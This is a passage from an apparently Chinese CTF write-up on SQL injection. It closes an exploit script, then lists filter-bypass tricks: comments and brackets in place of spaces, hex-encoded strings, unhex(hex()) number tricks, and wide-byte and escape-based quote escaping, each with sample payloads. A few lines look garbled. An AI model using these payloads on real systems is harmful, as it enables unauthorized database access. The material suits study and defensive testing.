<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">login</span>(<span class="hljs-params">password</span>):</span>
	data = {<span class="hljs-string">'password'</span> : password}
	r = s.post(url=url <span class="hljs-string">'login'</span>, data=data, allow_redirects=<span class="hljs-literal">False</span>)
	<span class="hljs-keyword">if</span> <span class="hljs-built_in">str</span>(r.status_code)[<span class="hljs-number">0</span>] != <span class="hljs-string">'3'</span>:
		<span class="hljs-built_in">print</span>(<span class="hljs-string">"登录失败"</span>)
		exit(<span class="hljs-number">0</span>)
	<span class="hljs-built_in">print</span>(<span class="hljs-string">"登录成功"</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
	login(sqli())

题目没有复现环境,主要参考exp中所使用的payload,以及脚本的写法。

0x07 Bypass▸

上面其实已经讲了很多Bypass的方法,比如各种截取和比较的方法其实都是用来做bypass的,这里再简单总结一些其他的

空格▸

行内注释(推荐)▸

100%用来替代空格 select/*woshizhushi*/id/**/from/**/student;

换行符(推荐)▸

也是不错的替代空格的方法。

括号▸

select(id)from(student); 但是括号不能去括一些mysql自带的关键字,例如不能把from括起来,不作为首选的绕过方法。

反引号▸

对于表名和列名可以用反引号包裹起来。

代码语言:javascript复制
select`id`from`student`;

select关键字▸

mysql8.0▸

在MySQL 8.0版本中,table student 等价于 select * from student;

在当前的表查其他字段▸

在对当前表的列名注入时,可以直接写字段名,而无需select 该字段 from 该表

代码语言:javascript复制
select * from student where student_id = '2019122001' and ascii(substr(name,1,1))&gt;0; # 这里name直接写,而不需要写成select name from student

单引号和字符串▸

没有单引号就没有字符串,如何写字符串?▸

  1. 字符串的十六进制形式 'abc' 等价于 0x616263
  2. unhex()hex()连用 'abc' 等价于unhex(hex(6e6 382179)); 可以用于绕过大数过滤(大数过滤:/d{9}|0x[0-9a-f]{9}/i)具体转换的步骤是:①abc转成16进制是616263616263转十进制是6382179 ③用科学计数法表示6e6 382179 ④套上unhex(hex()),就是unhex(hex(6e6 382179));

没有单引号没办法做SQL注入的参数逃逸▸

  1. 宽字节注入
  2. 转义法 条件是:用户可以控制一前一后两个参数 方法是:前面的参数输入转义掉单引号,后面参数逃逸出来 例如:select * from users where username = '' and password = 'and 1=1#'

0 人点赞